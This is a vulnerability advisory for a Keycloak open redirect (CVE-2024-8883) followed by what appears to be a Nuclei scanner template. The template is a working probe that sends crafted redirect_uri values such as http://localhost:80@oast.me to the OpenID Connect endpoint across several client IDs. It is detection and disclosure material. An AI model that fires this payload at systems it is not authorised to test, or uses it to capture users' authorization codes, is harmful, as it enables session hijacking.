A misconfiguration flaw was found in Keycloak. This issue can allow an attacker to redirect users to an arbitrary URL if a 'Valid Redirect URI' is set to http://localhost or http://127.0.0.1, enabling sensitive information such as authorization codes to be exposed to the attacker, potentially leading to session hijacking.
PoC代码[已公开]
id: CVE-2024-8883
info:
name: Keycloak - Open Redirect
author: iamnoooob,rootxharsh,pdresearch
severity: medium
description: |
A misconfiguration flaw was found in Keycloak. This issue can allow an attacker to redirect users to an arbitrary URL if a 'Valid Redirect URI' is set to http://localhost or http://127.0.0.1, enabling sensitive information such as authorization codes to be exposed to the attacker, potentially leading to session hijacking.
reference:
- https://github.com/advisories/GHSA-vvf8-2h68-9475
- https://nvd.nist.gov/vuln/detail/CVE-2024-8883
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:N
cvss-score: 6.8
cve-id: CVE-2024-8883
cwe-id: CWE-601
epss-score: 0.04474
epss-percentile: 0.88585
metadata:
max-request: 1
verified: true
shodan-query: title:"keycloak"
tags: cve,cve2024,keycloak,redirect,vuln
variables:
redirect_uri: "oast.me"
http:
- raw:
- |
GET /realms/master/protocol/openid-connect/auth?client_id={{client_id}}&redirect_uri={{redir_host}}:80@{{redirect_uri}} HTTP/1.1
Host: {{Hostname}}
payloads:
redir_host:
- http://localhost
- http://127.0.0.1
- https://localhost
- https://127.0.0.1
- http://[::]
- https://[::]
client_id:
- security-admin-console
- master-realm
- broker
- admin-cli
- account
- account-console
attack: clusterbomb
stop-at-first-match: true
matchers-condition: and
matchers:
- type: regex
part: header
regex:
- 'Location:\s+https?://(localhost|127.0.0.1|\[::\]):\d*@oast\.me\?'
- type: status
status:
- 302
# digest: 490a00463044022027aa70fc60e7b05c6e67ab7b1dac7c3d739de6a39095255f0b45f777416ff8d9022075bdbdb9860da8019d37592ec12a0e8afad1010b1c2de2fb7c58f789fe7047dc:922c64590222798bb761d5b6d8e72950